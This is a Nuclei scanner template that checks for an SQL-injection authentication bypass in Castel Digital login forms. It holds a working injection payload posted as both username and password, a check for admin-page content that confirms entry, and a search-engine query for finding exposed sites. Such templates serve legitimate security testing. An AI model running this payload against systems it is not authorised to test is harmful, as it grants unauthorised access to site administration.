id: castel-digital-sqli

info:
  name: Castel Digital - Authentication Bypass
  author: s4e-io
  severity: high
  description: |
    SQL Injection vulnerability in Castel Digital login forms.
  reference:
    - https://www.casteldigital.com.br/
    - https://cxsecurity.com/issue/WLB-2024050032
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    google-query: "Castel Digital"
  tags: sqli,auth-bypass,castel,vuln

http:
  - raw:
      - |
        POST /restrito/login/sub/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=x%27%3D%27x%27or%27x&password=x%27%3D%27x%27or%27x

      - |
        GET /restrito/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "Banner"
          - "Construtoras"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022025f8bbf33c089eac1ed06e6118e1ff7556af9322adf8e89e14d18b57dd3527c10221008708ead38d0dc530b2e63723e9003db4e0039fb4781c419b8b0f066d2b4daec5:922c64590222798bb761d5b6d8e72950